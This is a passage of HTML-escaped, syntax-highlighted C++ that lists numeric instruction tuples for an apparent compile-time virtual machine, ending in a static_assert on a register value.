punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2857504053</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4271947727</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2238126367</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1544827193</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4094800187</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3461906189</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1812592759</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1506702473</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">536175198</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1303821297</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">715409343</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4094566992</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1890141105</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3143319360</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">696930856</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">926450200</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">352056373</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3857703071</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3212660135</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3854876250</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3648688720</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2732629817</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2285138643</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2255852466</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2537336944</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4257606405</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3703184638</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2165056562</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2217220568</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2088084496</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">443074220</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1298336973</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">822378456</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2154711985</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">430757325</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2521672196</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">532704100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2519542932</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2451309277</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3957445476</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2583554449</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1149665327</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3053959226</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3693780276</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">609918789</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2778221635</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3133754553</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3961507338</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1829237263</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2472519933</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4061630846</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1181684786</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">390349075</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2883917626</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3733394420</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3895283827</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2257053750</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2770821931</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">477834410</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">static_assert</span><span class=\"token punctuation\">(</span>program<span class=\"token operator\">::</span>registers<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3ee88722</span> <span class=\"token operator\">&amp;&amp;</span> program<span class=\"token 